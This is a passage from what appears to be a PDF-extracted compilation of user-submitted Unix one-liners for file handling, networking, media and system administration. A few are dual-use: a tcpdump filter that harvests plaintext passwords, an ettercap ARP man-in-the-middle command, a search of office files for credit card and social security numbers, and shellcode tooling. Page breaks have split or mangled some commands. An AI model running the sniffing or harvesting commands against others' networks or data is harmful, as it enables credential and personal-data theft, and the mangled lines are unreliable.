nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'
# FInd the 10 biggest files taking up disk space
find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h
2>/dev/null
# Show all listening and established ports TCP and UDP together with the PID of the
associated process
netstat -plantu
# Copy a file from a remote server to your local box using on-the-fly compression
rsync -Pz user@remotehost:/path/file.dat .
# Edit a script that's somewhere in your path.
vim `which <scriptname>`
# Create more threads with less stack space
ulimit -s 64
# Update file with patch
patch originalfile -i my.patch -o newfile; mv newfile originalfile
# list current ssh clients
netstat -tn | awk '($4 ~ /:22\s*/) && ($6 ~ /^EST/) {print substr($5, 0, index($5,":"))}'
# Remove spaces from filenames - through a whole directory tree.
zmv -Q '(**/)* *(.)' '$f:gs/ /_'

262 / 658

All UNIX COMMANDS


# Diff two directories by finding and comparing the md5 checksums of their contents.
diff <(sort <(md5deep -r /directory/1/) |cut -f1 -d' ') <(sort <(md5deep -r /directory/2/) |
cut -f1 -d' ')
# open manpage and search for a string
man foobar | less +/searched_string
# while using lxde and being blinded by your laptop screen, you can type:
xbacklight -set 50
# Change size of lots of image files.
for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done
# find out how much space are occuipied by files smaller than 1024K
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5
$/+/' -e '$ap' | dc

| sed -e '2,$s/

# Press a key automatically


while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
# shell function to underline a given string.
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf
"\n"; }
# MySQL: Slice out a specific table from the output of mysqldump
sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
# reverse order of file
awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }'
# Find files with size over 100MB and output with better lay-out
find . -type f -size +100M
# recursively change file name from uppercase to lowercase (or viceversa)
zmv -Q '(**/)(*)(.)' '$1${(L)2}'
# a function to create a box of '=' characters around a given string.
box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1;
i=$i+1)); do printf $2; done; printf "\n"; }
# turn off auto hard disc boot scanning for ext3
tune2fs -c -1 -i 0 /dev/VG0/data
# Read info(1) pages using 'less' instead of GNU Texinfo
info gpg |less
# Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/ -//'
# Watch the progress of 'dd'
kill -SIGUSR1 xxxx
# Quickly generate an MD5 hash for a text string using OpenSSL
echo -n 'the_password' | md5sum # Get me yesterday's date, even if today is 1-Mar-2008 and yesterday was 29-Feb-2008
TZ=XYZ24 date

263 / 658

All UNIX COMMANDS


# Safe Delete
shred -n33 -zx file; rm file
# Rips CDs (Playstation, etc.) and names the files the same as the volume name
cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device
ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
# Find artist and title of a music cd, UPC code given (first result only)
curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/^<div>.*>\
(.*\)<\/a><\/div>/\1/p}'
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -b-32
# Tunnel ssh through Socks Proxy
ssh -o ProxyCommand='nc -x ProxyHost:8080 %h %p' TargetHost
# Create a bash script from last commands
quickscript () { filename="$1"; history | cut -c 8- | sed -e '/^###/{h;d};H;$!d;x' | sed
'$d' > ${filename:?No filename given} }
# power off system in X minutes
shutdown -h 60
# Stat each file in a directory
find -name `egrep -s '.' * | awk -F":" '{print $1}' | sort -u` -exec stat {} \;
# Periodically run a command without hangups, and send the output to your e-mail
nohup bash -c "while true; do ps -x | mail pascalv@mmmmail.com; sleep 3600; done" | mail
pascalv@mmmmail.com &
# Creates a SSHFS volume on MacOS X (better used as an alias). Needs FuseFS and SSHFS
(obvioulsly).
mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk
-oreconnect,volname=SSHDisk
# command! -nargs=1 Vs vs &lt;args&gt;
Create aliases for common vim minibuffer/cmd typos
# create random numbers within range for conjob usage
H=$(until ([ $i -le 6 -a $i -gt 0 -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c810); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo
$i) ; echo $M $H \* \* \* backup-rsync-push.sh

# Do the last command, but say 'y' to everything


yes | !!
# Create a backup of the file.
cp path/filename{,-$(date +%Y-%m-%d)}
# Syntax Highlight your Perl code
perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my
$fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl
# Take a screenshot every 2 seconds
i=0;while :; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done;
# wc in perl

264 / 658

All UNIX COMMANDS


perl -ane 'END{printf(" %d %d %d\n", $x, $y, $z)} $x+=1; $y+=@F; $z+=length' file.txt
# Display unique values of a column
awk '{ a[$2]++ } END { for (b in a) { print b } }' file
# Resume scp of a big file
rsync -a -v --stats -e ssh /home root@<newserver>:/root/
# Clear cassandra snapshots that are older than 30 days
find /var/lib/cassandra/data -depth -type d -iwholename "*/snapshots/*" -mtime +30 -print0 |
xargs -0 rm -rf
# kill all foo process
ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9
# Delete empty, 24-hours-old directories recursively, without consider hidden directories
find . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;
# Jump to a song in your XMMS2 playlist, based on song title/artist
function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re
's@.+\[(.+)/.+\] (.+)@\1@'`; }
# Recursively create a TAGS file for an entire source tree. TAGS files are useful for
editors like Vim and Emacs
ctags -R
# Extracts PDF pages as images
convert in.pdf out.jpg
# shell equivalent of a boss button
cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne
"Time::HiRes::usleep(rand()*1000000)"
# Create a .png from a command output and upload to ompdlr.org, give URI
omp(){ $*|convert label:@- png:-|curl -sF file1=@- http://ompldr.org/upload | grep -P -o "(?
<=File:).*(http://ompldr.org/.*)\<\/a\>" | sed -r 's@.*(http://ompldr.org/\w{1,7}).*@\1@';}
# A one-line web server in Ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd).start'
# Make a DVD ISO Image from a VIDEO_TS folder on MacOSX
hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/
# locate a filename, make sure it exists and display it with full details
locate -e somefile | xargs ls -l
# Erase empty files
find . -type f -size 0 -delete
# Use "most" as your man pager
export MANPAGER='most'
# flip faster and more precisely through commands saved in history
bash history: modification /etc/inputrc
# Get first Git commit hash
git rev-list --max-parents=0 HEAD
# Automatically create a rar archive
rar a -m0 "${PWD##*/}.rar" *

265 / 658

All UNIX COMMANDS


# Change framebuffer font
setfont cybercafe
# Kill XMMS for a cron job
pkill xmms

# Find a CommandlineFu users average command rating


curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I+
+}END{print S/I}'
# Download entire website for offline viewing
$ wget --mirror -p --convert-links -P ./<LOCAL-DIR> <WEBSITE-URL>
# Show the UUID of a filesystem or partition
ls /dev/disk* | xargs -n 1 -t sudo zdb -l | grep GPTE_
# tcpdump sniff pop3,imap,smtp and http
tcpdump -i eth0 port http or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|
pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|userna me:|
password:|login:|pass |user '
# gets your public IP address
echo $(curl http://ipecho.net/plain 2> /dev/null)
# search for files or directories, then show a sorted list of just the unique directories
where the matches occur
for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq
# host - DNS lookup utility
host google.com
# A function to find the newest file of a set.
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue;
-nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
# Query Wikipedia via console over DNS
mwiki () { dig +short txt `echo $*|sed 's|

*|_|g'`.wp.dg.cx; }

# reverse order of file


tac $FILE
# Alias for lazy tmux create/reattach
tmux attach || tmux new
# Archive all folders in a directory into their own tar.bz2 file
for i in */; do echo tar -cjf "${i%/}.tar.bz2" "$i"; done
# view all lines without comments.
grep -v "^#" file.txt | more
# disassemble binary shellcode
objdump -b binary -m i386 -D shellcode.bin
# Command line calculator
calc() { python -c "from math import *; print $1"; }
# unbuffered tcpdump

266 / 658

[[ -z $candidate || $i

All UNIX COMMANDS


tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primitives]' [X|
XX]
# Create an alias, store it in ~/.bash_aliases and source your new alias into the ~/.bashrc
echo "alias topu='top -u USERNAME'" >> ~/.bash_aliases && source .bashrc
# Command line calculator
python -ic "from __future__ import division; from math import *; from random import *"
# Recursively remove all files in a CVS directory
for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do
rm $file; cvs delete $file; done; done
# Command line calculator
calc() { bc <<< $*; }
# Get a file from SharePoint with cURL
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
# Suspend to ram
echo mem|sudo tee /sys/power/state
# Perl Command Line Interpreter
cpan Devel::REPL; re.pl
# Create a bunch of dummy text files
for i in `seq 1 4096`; do tr -dc A-Za-z0-9 </dev/urandom | head -c8192 > dummy$i.rnd; done
# copy remote ssh session output to local clipboard
ssh [remote-machine] "cat file" | xclip -selection c

# sync svn working copy and remote repository (auto adding new files)
svn status | grep '^?' | awk '{ print $2; }' | xargs svn add
# Find and delete oldest file of specific types in directory tree
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 |
cut -d" " -f8- | tr -d '\n' | xargs -0 rm
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};
# Display network pc "name" and "workgroup"
nmblookup -A <ip>
# Screen enable/disable loggin in all windows
bindkey ^l at "#" log on
bindkey ^o at "#" log off
# combining streams
ll /root/ 2>&1 | grep -E '(psw|password)'
# tell if a port is in use
netstat -a --numeric-ports | grep 8321
# Check if it's OK to spawn tmux. Bool's Rools.
[[ $DISPLAY != "" ]] && [[ ${TERM%screen*} != "" ]] && tmux attach
# Calculate pi with specific scale
echo 'scale=10; 4*a(1)' | bc -l

267 / 658

All UNIX COMMANDS


# tail -f a log file over ssh into growl
ssh -t HOSTNAME 'tail -f LOGFILE' | while read; do growlnotify -t "TITLE" -m "$REPLY"; done
# Drop all tables from a database, without deleting it
MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk
'{print "set foreign_key_checks=0; drop table `" $1 "`;"}' | $MYSQL unset MYSQL
# Quick HTML image gallery from folder contents with Perl
find . | perl -wne 'chomp; print qq|<img src="$_" title="$_" /><br />| if /\.(jpg|gif|png)
$/;'> gallery.html
# Tail postfix current maillog and grep for "criteria"
tail -f `ls -alst /var/log/maillog* | awk '{print $10} NR>0{exit};0'` | grep "criteria"
# To convert **.wav to **.mp3 using LAME running one process per CPU core run:
parallel -j+0 lame {} -o {.}.mp3 ::: *.wav
# Get a list of the erroring cifs entries in fstab
ls $(grep cifs /etc/fstab | grep -v ^# |awk ' { print $2 } ') 1>/dev/null
# Replace duplicate files by hardlinks
fdupes -r -1 Neu | while read line; do j="0"; buf=""; for file in ${line[*]}; do if [ "$j"
== "0" ]; then j="1"; buf=$file; else ln -f $buf $file; fi; done; done
# dd with progress bar and remaining time displayed
SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img
# Print a single route to a destination and its contents exactly as the kernel sees it
ip route get dest_ip
# Create a bunch of dummy text files
for i in {1..4096}; do base64 /dev/urandom | head -c 8192 > dummy$i.rnd ; done
# mplayer -vo aa foo.mpg
Play "foo.mpg" in your terminal using ASCII characters
# prints message in given argument on on center of screen
function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "$
{#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }
# Print a random 8 digit number
jot -s '' -r -n 8 0 9
# Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'
# Display the output of a command from the first line until the first instance of a regular
expression.
command | sed '/regex/q'
# Get MAC address
ifconfig | awk '/^eth0/ {print $5}'

# Backup trought SSH


tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz"
# Find installed network devices

268 / 658

All UNIX COMMANDS


sudo lshw -C network
# php show list pdo module
php -m|grep pdo
# run command on a group of nodes in parallel
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
# reset an hanging terminal session
^J tput sgr0 ^J
# Test http request every second, fancy display.
watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close

EOF'

# Remotely sniff traffic and pass to snort


sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666
# Go up multiple levels of directories quickly and easily.
alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."
# let a cow tell you your fortune
cowsay $(fortune)
# full path listing in /directory/path/* of javascript files.
tree -fi /directory/path/* | grep "\.js"
# Find C/C++ source code comments
perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if
$in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp
# Short URL to commandlinefu.com commands
lynx cmdl.in/9058
# Stripping ^M at end of each line for files
tr -d '\r' <dos_file_to_be_converted >converted_result
# Clone perms and owner group from one file to another
for i in chmod chown; do sudo "$i" --reference=/home/user/copyfromfile /tmp/targetfile; done
# dump 1KB of data from ram to file
dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1
# Re-emerge all ebuilds with missing files (Gentoo Linux)
emerge -av1 $(for e in `qlist -I --nocolor | uniq`; do for f in `qlist -e $e`; do if test !
-e $f; then echo $e; echo $e: missing $f 1>&2; fi; done; done)
# gain all mp3s in subfolders w/o encoding
find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
# Lists all listening ports together with the PID of the associated process
netstat -anpe
# Check if *hardware* is 32bit or 64bit
grep -q '\<lm\>' /proc/cpuinfo && echo 64 bits || echo 32 bits
# Url Encode
od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs
echo -ne
# translate with google, get all translations

269 / 658

All UNIX COMMANDS


translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?
source=translation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed
's!<span class="dct-tt">\(.*\)</span>!\1, !'); }
# AWK: Set Field Separator from command line
awk -F, '{print $1" "$2" "$NF}' foo.txt
# What is the use of this switch ?
manswitch() { man $1 | grep -A5 "^ *\-$2"; }
# Displays the number of processes per state
while true; do clear; cat /proc/[0-9]*/stat | cut -d' ' -f 3 | sort | uniq -c | awk '{print
$2" "$1}'; echo '---'; sleep 1; done
# Print all lines in a file that are not a certain length
awk 'length($0)!=12 {print}' your_file_name

# Scan for [samba|lanman] NetBIOS names and ip addresses in LAN by ARP.


arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmblookup -A
$ip` and /([[:alnum:]-]+)\s+<00>[^<]+<ACTIVE>/m and printf "%15s %s\n",$ip,$1'
# Fixes Centos 6.2 yum's metalink certificate errors
curl http://curl.haxx.se/ca/cacert.pem -o /etc/pki/tls/certs/ca-bundle.crt
# Reboot without being root
dbus-send --system --print-reply --dest=org.freedesktop.ConsoleKit
/org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.Restart
# Find directories over 50MB in the home directory
du -k ~/* | awk '$1 > 50000' | sort -nr
# burn initial session on a growable DVD using growisofs
growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"
# Pipe the result of a command to IRC (channel or query)
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK
$nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } |
nc $server > /dev/null ; rm $tmp; }
# find all writable (by user) files in a directory tree (use 4 for readable, 1 for
executable)
find . -type f -perm +200 -print
# Suspend to ram
dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower
org.freedesktop.UPower.Suspend
# Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk).
hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle
# print character classes
pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo;}
# List your interfaces and MAC addresses
ifconfig | grep HWaddr | awk '{print $1,$5}'
# generate random number
echo $RANDOM

270 / 658

All UNIX COMMANDS


# Resolve the "all display buffers are busy, please try later" error on a Foundry
dm display-buffer reset
# Enable verbose boot in Mac OS X Open Firmware
sudo nvram boot-args="-v"
# Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $6}'`
# swap the java version being used
sudo update-alternatives --config java
# Read null character seperated fields from a file
read -d ""
# Copy/move a bunch of files to dot files and back
rename s/^/./ *
# delay: a simple scheduler
delay until 16 && import_db.sh
# reverse-i-search: Search through your command line history
<ctrl+r>
# Get count of kilobytes brew cleanup would free
brew cleanup -n | awk '{print $3}' | xargs du -s | awk '{s+=$1} END {print s}'
# execute a command in case of success or execute a command in case of failure
cmd1 && cmd2 && echo success || echo epic fail
# unrar all part1 files in a directory
ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e
# get a mysqldump with a timestamp in the filename and gzip it all in one go
mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz
# Recursively touch all files and subdirectories
find . -exec touch {} \;

# create and md5 sum of your password


read -s p && echo -n $p | md5sum;p=
# Check if *hardware* is 32bit or 64bit
cat /proc/cpuinfo | grep " lm " > /dev/null && echo 64 bits || echo 32 bits
# A bash timer
alias timer='export ts=$(date +%s);p='\''$(date -u -d @"$(($(date +%s)-$ts))" +"%H.%M.
%S")'\'';watch -n 1 -t banner $p;eval "echo $p"'
# eDirectory LDAP Search for Statistics
ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D
cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings
removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut
strongAuthBinds addEntryOps
# one-liner mpc track changer using dmenu

271 / 658

All UNIX COMMANDS


mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song
name'||echo void)@\1@p" < <(mpc playlist))
# Comment out all lines in a file beginning with string
sed -i 's/^\(somestring\)/#\1/' somefile.cfg
# Given $PID, print all child processes on stdout
ps uw --ppid $PID
# View the current number of free/used inodes in a file system
df -i <partition>
# delete file name space
find . -type f -print0 | xargs -0 rename 's/\ //g'
# Open the current project on Github by typing gh
git remote -v | grep fetch | sed 's/\(.*github.com\)[:|/]\(.*\).git (fetch)/\2/' | awk
{'print "https://github.com/" $1'} | xargs open
# Fetch the current human population of Earth
perl -Mojo -E 'say g("http://www.census.gov/popclock/data/population/world")->json>{'world'}{'population'};'
# Ping a range of addresses
nmap -sP -T Insane 192.168.1.1-254
# Simple addicting bash game.
while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
# Count occurrences per minute in a log file
grep <something> logfile | cut -c2-18 | uniq -c
# Print the IP address and the Mac address in the same line
ifconfig | head -n 2 | tr -d '\n' | sed -n 's/.*\(00:[^ ]*\).*\(adr:[^ ]*\).*/mac:\1 - \2/p'
# Display _something_ when an X app fails
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with
error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
# sum numbers in the file (or stdin)
echo $(($(tr '\n' '+')0))
# commentate specified line of a file
sed -i '<line_no>s/\(.*\)/#\1/' <testfile>
# List files with full path
ls -d $PWD/*
# Automaticly cd into directory
shopt -s autocd
# Shows what an RPM was compiled with.
rpm -q --queryformat="%{NAME}: %{OPTFLAGS}\n" <rpm>
# Disconnect a wireless client on an atheros-based access point
iwpriv ath<x> kickmac <macaddress>
# Update pandoc via cabal
cabal update && cabal install pandoc

272 / 658

All UNIX COMMANDS


# Show URL/text in clipboard as QR code
xclip -o -sel clipboard | qrencode -o - | xview stdin
# play audio stream and video stream in two different mplayer instances
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884

# Automatically download Ubuntu 10.04 when available


while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktopi386.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; date;
break; else sleep 5m; fi; done
# Join lines
awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' file.txt
# BASH: Print shell variable into AWK
MyVAR=86; awk -v n=$MyVAR '{print n}'
# list all files in a directory, sorted in reverse order by modification time, use file
descriptors.
ls -Fart
# Remove BOM (Byte Order Mark) from text file
awk '{if(NR==1)sub(/^\xef\xbb\xbf/,"");print}' text.txt > newFile.txt
# Kill process by pid
taskkill /pid 10728
# Check the hard disk vendor and model on Apple Mac
diskutil info /dev/disk0 | grep 'Device / Media Name'
# Remove leading zeros in multiple columns with sed
sed 's/\b\(0*\)//g' filename
# Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
# SoX recording audio and trimming silence
sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5%
# Get full from half remembered commands
apropos <part_rember> | less
# Copy the full path of a file to the clipboard (requires xclip or similar)
>realpath ./somefile.c | xclip -selection c
# List hostnames of all IPs
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP
| awk '{print $5}'; done
# convert wav into mp3 using lame
lame -V2 rec01.wav rec01.mp3
# Downlaoad websites to 5 level and browse offline!
wget -k -r -l 5 http://gentoo-install.com
# convert binary data to shellcode
hexdump -v -e '"\\""x" 1/1 "%02x" ""' <bin_file>

273 / 658

All UNIX COMMANDS


# Google dictionary of word definitions
wget -qO - "http://www.google.com/dictionary/json?
callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" |
sed 's/dict_api\.callbacks.id100.//' | sed 's/,200,null)//'
# analyze traffic remotely over ssh w/ wireshark
ssh user@server.com sudo tcpdump -i eth0 -w - 'port 80'|
/Applications/Wireshark.app/Contents/Resources/bin/wireshark -k -i # diff color words
git diff --color-words file1 file2
# Internet Speed Test
lftp -e 'pget http://address_to_file; exit; '
# Remove git branches that do not have a remote tracking branch anymore
git branch -r | awk '{print $1}' | egrep -v -f /dev/fd/0 <(git branch -vv | grep origin) |
awk '{print $1}' | xargs git branch -d
# Create thumbnails and a HTML page for listing them (with links to sources)
mogrify -format gif -auto-orient -thumbnail 250x90 '*.JPG'&&(echo "<ul>";for i in *.gif;do
basename=$(echo $i|rev|cut -d. -f2-|rev);echo "<li style='display:inline-block'><a
href='$basename.JPG'><img src='$basename.gif'></a>";done;echo "</ul>")>list.html
# Generate SHA1 hash for each file in a list
ls [FILENAME] | xargs openssl sha1
# Mount a truecrypt drive from a file from the command line interactively
sudo truecrypt <truecrypt-file> <mount-point>
# Daily watch "question pour un champion" (French TV show)
kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?
page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o "mms.*wmv" |
uniq)

# Find the biggest files on your hard drive


find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
# start a VNC server for another user
su -c "vncserver -depth 32 -geometry 1024x768" username
# Get the next weekday for an 'at' command
if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT}
# Renames all files in the current directory such that the new file contains no space
characters.
for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done
# Get a list of the top 10 heaviest tables in your mysql database - useful for performance
diagnostics
mysql --database=information_schema -u <user> -p -e "SELECT TABLE_NAME, TABLE_SCHEMA,
SUM(DATA_LENGTH + INDEX_LENGTH)/1024/1024 mb FROM TABLES GROUP BY TABLE_NAME ORDER BY mb
DESC LIMIT 10"
# Remove grep itself from ps
ps afx|grep [a]pache
# Extract domain from URl

274 / 658

All UNIX COMMANDS


ruby -ruri -e 'u=URI(ARGV[0]).host.split("."); puts u[(u[-2] =~ /^com?$/ ? -3 : -2)..1].join(".")' http://test.example.com
# print code 3-up and syntax-highlighted for easy beach-time study
enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow
# KDE Mixer Master Mute/Unmute
alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e
's/true/muted/' -e 's/false/unmuted/' "
# for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do
pg_dump -C $x | gzip > /backups/$x-back.gz
for x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump
-C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done
# Creates Solaris alternate boot environment on another zpool.
lucreate -n be1 [-c be0] -p zpool1
# VIM subst any char different from literal " + EOL with searched string + white space
:%s/\([^\"]\)\(\n\)/\1 /g
# Get all IPs via ifconfig
ifconfig | awk '/inet / {sub(/addr:/, "", $2); print $2}'
# Annotate tail -f with timestamps
tail -f file | ts '%H:%M:%.S'
# Clean config from # and empty strings
egrep -v '(\t)?#.*|^$' /etc/apache2/sites-available/default
# Add temporary entry to authorized_keys
Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat
/dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;
# Get the ip registered to a domain on OpenWRT
nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'
# Grep auth log and print ip of attackers
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
# gvim in full screen (execute again to toggle full screen on/off)
:exe "!wmctrl -r ".v:servername." -b toggle,fullscreen"
# Remove multiple spaces
sed "s/^ *//;s/ *$//;s/ \{1,\}/ /g" filename.txt
# list files in 'hitlar' mode
ls -Fhitlar
# search office documents for credit card numbers and social security number SSN docx xlsx
find . -iname "*.???x" -type f -exec unzip -p '{}' '*'
# List files in directory tree with newest last
find <directory> -type f -printf "%T@\t%p\n"|sort -n|cut -f2|xargs ls -lrt
# Find files with the same names in several directories.
ls -1 . dir2 dir3|sort|uniq -d
# Get the size of all the directories in current directory
sudo du -sh $(ls -d */) 2> /dev/null

275 / 658

All UNIX COMMANDS

# Open-iscsi target discovery


iscsiadm -m discovery -t sendtargets -p 192.168.20.51
# Lines per second in a log file
tail -n0 -f access.log>/tmp/tmp.log & sleep 10; kill $! ; wc -l /tmp/tmp.log
# How to backup hard disk timely?
rsync -av --link-dest=$(ls -1d /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m%d%H%M)/
# Alternative for basename using grep to extract file name
fileName(){ echo ${1##*/}; }
# Swap a file or dir with quick resotre
mv public_html{,~~} && mv public_html{~,} && mv public_html{~~,~}
# copy string to clipboard
pwd | xclip
# Shows size of dirs and files, hidden or not, sorted.
du --max-depth=1 -h * |sort -h -k 1 |egrep '(M|G)\s'
# Run a command when a file is changed
while :; do n=$(md5 myfile); if [ "$h" != "$n" ]; then h=$n; scp myfile
myserver:mydir/myfile; fi; sleep 1; done
# Split lossless audio (ape, flac, wav, wv) by cue file
shnsplit -t "%n-%t" -f <cue file> <audio file>
# complete extraction of a debian-package
dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;
# Get a funny one-liner from www.onelinerz.net
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div
id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>]
[^>]*>/, "", $0); print $0}'
# Using vim to save and run your python script.
vim ... :nmap <F5> :w^M:!python %<CR>
# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1
tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <localdbname> <
/dev/stdin
# Quickly create an alias for changing into the current directory
map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi }
# Lookup errno defintions
perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO
# Reload all sysctl variables without reboot
/sbin/sysctl -p
# Batch convert PNG to JPEG
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
# ettercap..

276 / 658

All UNIX COMMANDS


ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
